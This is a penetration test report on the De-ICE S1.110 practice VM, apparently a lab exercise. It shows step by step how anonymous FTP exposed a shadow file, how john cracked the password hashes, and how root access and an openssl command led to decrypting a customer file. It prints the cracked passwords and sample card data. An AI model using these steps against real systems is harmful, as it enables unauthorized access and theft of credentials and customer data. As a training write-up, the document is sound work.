De-ICE Vulnerable VM Series

De-ICE S1.110 Penetration Test Report

Table of Contents

Versioning Control

Version	Date	Description	Author
v1.0	04/25/2024	Full Assessment	Cameron J. Wade

Executive Summary

Testing was performed using a Kali Linux virtual machine.

This test was used to evaluate the security posture of the second device on a client network of four devices that all contain secure customer and employee data. Anonymous access to an exposed FTP server allowed the retrieval of sensitive credential files. These files were used to decrypt user passwords and establish connection to the target client machine. Sensitive and encrypted customer information was extracted from the target machine. The encrypted document was decrypted after the encryption password was discovered on the target client machine.

** Disclaimer: Testing was conducted in an isolated virtual network, so the methods used to perform testing do not disturb others on the client network. **

Phase Testing

1.) Initial Reconnaissance

The first action that can be performed to guide the rest of the testing is a port scan against the target device. The initial scan can be something used to gain information about which ports are open, what services are running on those ports, and the version of the services. This can be achieved with an nmap scan with the '-sV' flag to enable service version enumeration.

```
PORT     STATE SERVICE    VERSION
21/tcp   open  ftp        vsftpd 2.0.4
22/tcp   open  tcpwrapped
80/tcp   open  http?
631/tcp  open  ipp        CUPS 1.1
```

One of the things that stands out differently than the previously observed host is that there seems to have been no issue with nmap scanning the FTP port. This could be a potential avenue for information retrieval. If anonymous logins are allowed, access could be easy. Attempting to navigate to http://192.168.1.110 doesn't prove useful.

```
kali@kali: ~
File  Actions  Edit  View  Help
┌──(kali㉿kali)-[~]
└─$ ftp 192.168.1.110
Connected to 192.168.1.110.
220 (vsFTPd 2.0.4)
Name (192.168.1.110:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||37549|)
150 Here comes the directory listing.
drwxr-xr-x    7 1000     513            160 Mar 15  2007 download
drwxrwxrwx    2 0        0               60 Feb 26  2007 incoming
226 Directory send OK.
ftp> cd download
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||61105|)
150 Here comes the directory listing.
drwxr-xr-x    6 1000     513            340 Mar 15  2007 etc
drwxr-xr-x    4 1000     513            100 Mar 15  2007 opt
drwxr-xr-x   10 1000     513            400 Mar 15  2007 root
drwxr-xr-x    5 1000     513            120 Mar 15  2007 usr
drwxr-xr-x    3 1000     513             80 Mar 15  2007 var
226 Directory send OK.
ftp>
```

An FTP connection was able to be established on the target machine with an anonymous login using ’ftp 192.168.1.110’. When prompted, anonymous was given as the user and no password was provided. There were two directories immediately available and, when switched to ’download’ directory using ‘cd download‘ a few additional directories displayed that could contain critical information for the investigation.

```
kali@kali: ~
File  Actions  Edit  View  Help
drwxr-xr-x    6 1000     513          340 Mar 15  2007 etc
drwxr-xr-x    4 1000     513          100 Mar 15  2007 opt
drwxr-xr-x   10 1000     513          400 Mar 15  2007 root
drwxr-xr-x    5 1000     513          120 Mar 15  2007 usr
drwxr-xr-x    3 1000     513           80 Mar 15  2007 var
226 Directory send OK.
ftp> cd etc
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||19365|)
150 Here comes the directory listing.
drwxr-xr-x    4 1000     513          160 Mar 15  2007 X11
-rw-r--r--    1 1000     513       362436 Mar 03  2007 core
drwxr-xr-x    2 1000     513          100 Mar 15  2007 fonts
-rw-r--r--    1 1000     513          780 Apr 30  2005 hosts
-rw-r--r--    1 1000     513          718 Jul 03  2005 inputrc
-rw-r--r--    1 1000     513         1296 Jun 10  2006 issue
-rw-r--r--    1 1000     513          183 Jun 23  2005 lisarc
-rw-r--r--    1 1000     513           56 Oct 21  2004 localtime
lrwxrwxrwx    1 1000     513           23 Apr 28 22:53 localtime-copied-from → /usr/sh
are/zoneinfo/GMT
-rw-r--r--    1 1000     513        10289 Dec 31  2003 login.defs
-rw-r--r--    1 1000     513            1 Dec 31  2003 motd-slax
drwxr-xr-x    2 1000     513          100 Mar 15  2007 profile.d
drwxr-xr-x    2 1000     513          220 Mar 15  2007 rc.d
-rw-r--r--    1 1000     513          440 Jul 18  2006 shadow
226 Directory send OK.
ftp>
```

‘cd etc’ was used to change directory to the etc directory and the contents were displayed using the ’ls’ command. The ’shadow’ credential file is available for download.
The ’passwd’ file is not but the ’core’ file may contain additional information. Retrieve the files using ’get shadow’ and ’get core’. After the files have been obtained, the FTP connection can be closed using ’exit’

```
root:$1$aQo/FOTu$rriwTq.pGmN3OhFe75yd30:13574:0:::::bin:*:9797:0:::::daemon:*:9797:0:::
:adm:*:9797:0:::::lp:*:9797:0:::::sync:*:9797:0:::::shutdown:*:9797:0:::::halt:*:9797:0:
::::mail:*:9797:0:::::news:*:9797:0::::uucp:*:9797:0:::::operator:*:9797:0:::::games:*:
9797:0::::ftp:*:9797:0:::::smmsp:*:9797:0:::::mysql:*:9797:0:::::rpc:*:9797:0:::::sshd:
*:9797:0::::gdm:*:9797:0:::::pop:*:9797:0::::nobody:*:9797:0::::aadams:$1$kl709iws$fQ
DiqXfQXBErilgdRvogn.:13570:0:99999:7:::bbanter:$1$1wY0b2Bt$O6cLev2TG9eH9iIaTuFKv1:13571
0:99999:7:::ccoffee:$1$6vf/SuEu$EZ1TWxFMHE0pDXCCMOu70/:13574:0:99999:7:::
```

The core file contains log information about the filesystem. Using ’strings’ on it will make the information more readable ’strings core’. Some of the last log events reported were password hashes that can be stored in a password file to be cracked. Store these hashes in a file called ’Passwords’ in the home directory

```
┌──(kali㉿kali)-[~]
└─$ john Passwords --wordlist='/usr/share/wordlists/darkc0de.txt'
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-l
ong"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 5 password hashes with 5 different salts (md5crypt, crypt(3) $1$ (and variants) [
MD5 256/256 AVX2 8×3])
Press 'q' or Ctrl-C to abort, almost any other key for status
Complexity       (root)
toor             (root)
Zymurgy          (bbanter)
3g 0:00:01:02 DONE (2024-04-28 16:08) 0.04799g/s 22666p/s 94767c/s 94767C/s zyxenhujul..
zzzzzzzzzzzzzzz
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

After the new file has been created, john can be used to crack the passwords. The wordlist that will be used is the 'darkc0de.txt'. The command 'john Passwords –wordlist='/usr/share/wordlists/darkc0de.txt'' command should be used. The tool discovered two potential passwords for root and one for a user called bbanter.

2.) Establishing SSH Connection

The credentials previously obtained could be used to establish an SSH connection to the target machine.

```
kali@kali: ~
File  Actions  Edit  View  Help

┌──(kali㉿kali)-[~]
└─$ ssh 192.168.1.110 -l root
root@192.168.1.110's password:
Permission denied, please try again.
root@192.168.1.110's password:
Permission denied, please try again.
root@192.168.1.110's password:
root@192.168.1.110: Permission denied (publickey,password,keyboard-interactive).

┌──(kali㉿kali)-[~]
└─$ ssh 192.168.1.110 -l bbanter
bbanter@192.168.1.110's password:
Linux 2.6.16.
bbanter@slax:~$ whoami
bbanter
bbanter@slax:~$
```

The credentials obtained for root didn't work to obtain remote access to the user… But this doesn't mean they can't be used to execute local privilege escalation. The credentials obtained for bbanter did work, however.

```
bbanter@slax:~$ su root
Password: ****
Sorry.
bbanter@slax:~$ su root
Password: **********
root@slax:/home/bbanter# whoami
root
root@slax:/home/bbanter#
```

Local escalation to root did work. Executing ‘su root’ to begin escalation and providing the password ‘Complexity’ worked to obtain a root shell. Now full investigation of the target machine can occur.

3.) Obtaining Encrypted Customer Payment File

Now that the root user has been accessed, it is a good idea to investigate what may be contained within the root home directory. To switch to this directory, use the ‘cd /home/root’ command.

```
root@slax:/home/bbanter# cd /home/root
root@slax:/home/root# ls -all
total 4
drwxr-xr-x 3 aadams  513  100 Mar 15  2007 .
drwxr-xr-x 8 root   root  140 Mar 15  2007 ..
drwx------ 2 root   root  100 Mar 15  2007 .save
-rw-r--r-- 1 aadams  513 3729 Feb 27  2007 .screenrc
root@slax:/home/root# cd .save
root@slax:/home/root/.save# ls
copy.sh  customer_account.csv.enc
root@slax:/home/root/.save#
```

When listing the contents of the root home directory using ‘ls -all’ it shows that there is a hidden ‘.save’ directory. Using ‘cd .save’ to navigate to the directory and ‘ls’ to display the contents, it is shown that there is an encrypted csv file that contains information about customer accounts and another file called ‘copy.sh’

```
root@slax:/home/root/.save# cat copy.sh
#!/bin/sh
#encrypt files in ftp/incoming
openssl enc -aes-256-cbc -salt -in /home/ftp/incoming/$1 -out /home/root/.save/$1.enc -p
ass file:/etc/ssl/certs/pw
#remove old file
rm /home/ftp/incoming/$1
root@slax:/home/root/.save#
```

Using 'cat copy.sh' to display the contents of the file, it looks like this program is used for encrypting files with a password attached to a file in the 'etc/ssl/certs/pw' directory. This could be enough information to decrypt that encrypted customer accounts file. The file can be decrypted by changing the command used to encrypt the files. The complete decryption command will look like the following: 'openssl enc –d –aes-256-cbc –salt –in /home/root/.save/customer_account.csv.enc -out /home/ftp/incoming -pass file:/etc/ssl/certs/pw'. This will output the unencrypted file to the ftp directory that we can download from.

```
rm /home/ftp/incoming/$1
< -out /home/ftp/incoming/customer_account.csv -pass file:/etc/ssl/certs/pw
root@slax:/home/root/.save# ls /home/ftp/incoming
customer_account.csv
root@slax:/home/root/.save#
```

The file was successfully decrypted and landed in the correct directory

```
kali@kali: ~
File  Actions  Edit  View  Help

┌──(kali㉿kali)-[~]
└─$ ftp 192.168.1.110
Connected to 192.168.1.110.
220 (vsFTPd 2.0.4)
Name (192.168.1.110:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

Next, an FTP session was established with anonymous login using the ‘ftp 192.168.1.110’ command and entering ‘anonymous’ as the login. Do not provide a password. This session will be used to download the unencrypted customer account data.

```
ftp> cd incoming
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||28508|)
150 Here comes the directory listing.
-rw-r--r--    1 0        0             534 Apr 28 23:39 customer_account.csv
226 Directory send OK.
ftp> get customer_account.csv
local: customer_account.csv remote: customer_account.csv
229 Entering Extended Passive Mode (|||49337|)
150 Opening BINARY mode data connection for customer_account.csv (534 bytes).
100% |***********************************************|   534       88.65 KiB/s    00:00 ETA
226 File send OK.
534 bytes received in 00:00 (72.62 KiB/s)
ftp>
```

Change to the correct directory using ’cd incoming’ and download the customer account file using the ’get customer_account.csv’ command. This will place the file in the home directory of the user that initiated the FTP connection.

Open the home directory of the user in a file explorer application to view the file. Double-click the downloaded file to open and display the content.

```
1 "CustomerID","CustomerName","CCType","AccountNo","ExpDate","DelMethod"
2 1002,"Mozart Exercise Balls Corp.","VISA","2412225132153211","11/09","SHIP"
3 1003,"Brahms 4-Hands Pianos","MC","3513151542522415","07/08","SHIP"
4 1004,"Strauss Blue River Drinks","MC","2514351522413214","02/08","PICKUP"
5 1005,"Beethoven Hearing-Aid Corp.","VISA","5126391235199246","09/09","SHIP"
6 1006,"Mendelssohn Wedding Dresses","MC","6147032541326464","01/10","PICKUP"
7 1007,"Tchaikovsky Nut Importer and Supplies","VISA","4123214145321524","05/08","SHIP"
8
```

Security Recommendations

For this machine, the main vulnerability surrounded around anonymous access being allowed when establishing a connection to the target machine’s FTP server. This allowed access to download the shadow file and the core log file that were both used in obtaining credentials to the target machine. I would recommend disabling anonymous access and locking down what is accessible by users who have remote access to the FTP server.

Another common recommendation is to close off unused and unnecessary ports to public exposure. Services such as SSH should not need to be exposed to the public. After the

credentials were obtained from the machine, this was the next avenue of attack. Consider closing off this service and other unnecessary services for public access.